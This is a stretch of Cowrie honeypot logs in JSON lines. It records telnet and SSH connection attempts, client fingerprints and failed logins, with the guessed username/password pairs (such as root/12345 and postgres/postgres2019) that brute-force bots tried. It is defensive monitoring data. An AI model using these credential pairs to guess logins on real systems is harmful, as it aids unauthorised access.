{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59732,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4c0a195368","protocol":"telnet","message":"New connection: 5.189.169.71:59732 (10.17.0.5:23) [session: ac4c0a195368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.797184Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:25.809385Z","src_ip":"176.65.139.103","session":"d23e49adee04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:26.273682Z","src_ip":"176.65.139.103","session":"d23e49adee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.758915185928345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:26.673002Z","src_ip":"23.254.167.244","session":"2fb1a41e864c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":43072,"dst_ip":"10.17.0.5","dst_port":22,"session":"10766eabfab6","protocol":"ssh","message":"New connection: 80.94.92.182:43072 (10.17.0.5:22) [session: 10766eabfab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:26.972972Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"86efa26cfb86","protocol":"telnet","message":"New connection: 5.189.169.71:59742 (10.17.0.5:23) [session: 86efa26cfb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.047907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.088877Z","src_ip":"80.94.92.182","session":"10766eabfab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40370,"dst_ip":"159.203.135.109","dst_port":23,"session":"13574f75b0dd","protocol":"telnet","message":"New connection: 23.254.167.244:40370 (159.203.135.109:23) [session: 13574f75b0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.123078Z"}
{"eventid":"cowrie.session.closed","duration":34.415069580078125,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.164583Z","src_ip":"23.254.167.244","session":"526cd60ec02c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.281401Z","src_ip":"80.94.92.182","session":"10766eabfab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40602,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d17110ab95c","protocol":"telnet","message":"New connection: 23.254.167.244:40602 (159.203.135.109:23) [session: 7d17110ab95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.354919Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:27.400010Z","src_ip":"176.65.139.103","session":"d23e49adee04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ps","password":"123456","message":"login attempt [ps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:28.328609Z","src_ip":"80.94.92.182","session":"10766eabfab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":62701,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a52ca9759ff","protocol":"ssh","message":"New connection: 74.87.117.149:62701 (10.17.0.5:22) [session: 2a52ca9759ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:29.538231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:29.542286Z","src_ip":"74.87.117.149","session":"2a52ca9759ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:29.566453Z","src_ip":"74.87.117.149","session":"2a52ca9759ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2019","message":"login attempt [postgres/postgres2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:29.696090Z","src_ip":"74.87.117.149","session":"2a52ca9759ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:29.746190Z","src_ip":"80.94.92.182","session":"10766eabfab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:30.723588Z","src_ip":"74.87.117.149","session":"2a52ca9759ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52552,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a0f2d8ff2b","protocol":"ssh","message":"New connection: 176.65.139.103:52552 (10.17.0.5:22) [session: c7a0f2d8ff2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:31.914197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:31.921262Z","src_ip":"176.65.139.103","session":"c7a0f2d8ff2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:31.996763Z","src_ip":"176.65.139.103","session":"c7a0f2d8ff2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:32.318206Z","src_ip":"176.65.139.103","session":"c7a0f2d8ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:33.402614Z","src_ip":"176.65.139.103","session":"c7a0f2d8ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.04417943954468,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:33.464481Z","src_ip":"23.254.167.244","session":"01ef76e93245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710211515426636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:35.063728Z","src_ip":"5.189.169.71","session":"00283bbe6159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842293739318848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:35.069463Z","src_ip":"5.189.169.71","session":"e8fd0957bd7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58836,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cbb9985e6d","protocol":"telnet","message":"New connection: 5.189.169.71:58836 (10.17.0.5:23) [session: 45cbb9985e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:35.740388Z"}
{"eventid":"cowrie.session.closed","duration":37.68798804283142,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:36.371705Z","src_ip":"23.254.167.244","session":"d444adb5396f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58848,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c79aa9d1c9","protocol":"telnet","message":"New connection: 5.189.169.71:58848 (10.17.0.5:23) [session: 27c79aa9d1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:36.828104Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45652,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a14c33541a","protocol":"ssh","message":"New connection: 176.65.139.103:45652 (10.17.0.5:22) [session: a3a14c33541a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:38.333081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:38.484611Z","src_ip":"176.65.139.103","session":"a3a14c33541a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:38.487783Z","src_ip":"176.65.139.103","session":"a3a14c33541a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:38.862679Z","src_ip":"176.65.139.103","session":"a3a14c33541a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.069080114364624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:39.808634Z","src_ip":"209.159.146.115","session":"348ce5e4300b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:39.964256Z","src_ip":"176.65.139.103","session":"a3a14c33541a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65625238418579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:40.103293Z","src_ip":"5.189.169.71","session":"2b7a80675b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"09280a06f9a1","protocol":"telnet","message":"New connection: 5.189.169.71:55656 (10.17.0.5:23) [session: 09280a06f9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:40.523184Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55666,"dst_ip":"10.17.0.5","dst_port":23,"session":"29dc9904936a","protocol":"telnet","message":"New connection: 5.189.169.71:55666 (10.17.0.5:23) [session: 29dc9904936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:42.731218Z"}
{"eventid":"cowrie.session.closed","duration":30.81533646583557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:43.554091Z","src_ip":"185.207.250.135","session":"e940e723d8e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36020,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59cad7d9d5b","protocol":"telnet","message":"New connection: 23.254.167.244:36020 (159.203.135.109:23) [session: c59cad7d9d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:43.577223Z"}
{"eventid":"cowrie.session.closed","duration":34.429587602615356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:43.830431Z","src_ip":"23.254.167.244","session":"ea6407a2bf73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36530,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad12cde79e26","protocol":"ssh","message":"New connection: 176.65.139.103:36530 (10.17.0.5:22) [session: ad12cde79e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:44.733977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:44.746042Z","src_ip":"176.65.139.103","session":"ad12cde79e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:44.842880Z","src_ip":"176.65.139.103","session":"ad12cde79e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:45.186356Z","src_ip":"176.65.139.103","session":"ad12cde79e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.38.163.60","src_port":59076,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f806443290d","protocol":"telnet","message":"New connection: 54.38.163.60:59076 (159.203.135.109:23) [session: 8f806443290d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:45.240655Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55676,"dst_ip":"10.17.0.5","dst_port":23,"session":"2872d4b591ca","protocol":"telnet","message":"New connection: 5.189.169.71:55676 (10.17.0.5:23) [session: 2872d4b591ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:45.292204Z"}
{"eventid":"cowrie.session.closed","duration":30.691962718963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:46.055170Z","src_ip":"5.189.169.71","session":"eddbcaef56b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:46.280896Z","src_ip":"176.65.139.103","session":"ad12cde79e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.21862506866455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:49.278020Z","src_ip":"5.189.169.71","session":"1fa2e5f5a3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55876,"dst_ip":"10.17.0.5","dst_port":23,"session":"36d9d25ad883","protocol":"telnet","message":"New connection: 5.189.169.71:55876 (10.17.0.5:23) [session: 36d9d25ad883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:50.078336Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36544,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3f28602cbf","protocol":"ssh","message":"New connection: 176.65.139.103:36544 (10.17.0.5:22) [session: 3e3f28602cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:51.271372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:23:51.373121Z","src_ip":"176.65.139.103","session":"3e3f28602cbf","protocol":"ssh"}
